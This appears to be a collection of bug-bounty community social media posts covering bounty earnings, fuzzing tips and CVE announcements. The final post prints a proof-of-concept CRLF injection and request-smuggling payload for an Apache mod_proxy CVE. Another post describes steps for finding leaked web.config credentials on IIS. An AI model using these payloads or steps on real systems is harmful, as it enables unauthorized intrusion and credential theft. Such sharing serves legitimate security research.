https://t.co/7s4dvqAuzc

Yay, I was awarded a $3,000 bounty on @Hacker0x01!

Last month was my highest in bug bounty so far with almost $131k in bounty. Total paid reports: 18 Average reward: $7.3k Category: most were logical findings via reversing mobile applications and discovering internal endpoints leading to code execution and missing auth etc

Burp on a 55inch monitor 😂 I love this ❤️

https://t.co/oqCo9D9lFb

Nexus Repository Manager 3 Unauthenticated Path Traversal (CVE-2024-4956) https://t.co/lb5CNJGqmD This issue is similar to SpringMVC CVE-2018-1271 by @orange_8361

Overwhelmed by the love from the fans in Warsaw!😊

https://t.co/5l4lpxFMgG

@h4x0r_dz VDP_Hackers ❌ Slaves ✅

Decided to publish PPPwn early. The first PlayStation 4 Kernel RCE. Supporting FWs upto 11.00. https://t.co/INayQSp8fL

Pic of the Day #infosec #cybersecurity #cybersecuritytips #pentesting #cybersecurityawareness #informationsecurity

Fact 😂

The damage of VDP programs and their Incentivization is far greater than giving some hunters "points" for farming none-bugs that they can later boast on their CV's, I believe it might actually ruin Bug Bounty platforms in the near future, Let's explore the facts 📜 So VDP's, as

Another P1 using @GodfatherOrwa tip: - Found default IIS BLUE page - Run tool shortscan for iis - Found endpoint like : target~.zip - run fuzz and found zip file with a web.config file leaking creds .Leads to Admin dashboard takeover. #bugbountytip

Are you fuzzing like a pro? 🚀 Dive into some Ffuf tuning tips that could elevate your game. 🤟🏻 🧵1/x #BugBounty #InfoSec #BugBountyTips #BumBumTips #HackingTips

soon enough there will be a video for BugCrwod Level Up explaining how I found 90% from P1s for the last 12 months with a lot of BB Tips

this is my favourite error message by far iykyk

Directory-brute forcing? You should NEVER filter based on status code. Paths can exist and return a 404. I’ve seen this so many times: /noexist/ -> 404 Not Found. /api/ -> 404 Not Found, but different response body (JSON formatted) /api/endpoint -> 200 OK Filter by

You can find easy critical vulnerabilities. It just takes finding unique attack surfaces. Here's an example of how you can, using a story of how I hacked a car company:

[PoC] [CVE-2023-25690] Apache HTTP Server mod_proxy vul CLRF Injection GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1 Host: Header Injection GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1 Host: 1.1.1.1 https://t.co/st5iVALH8V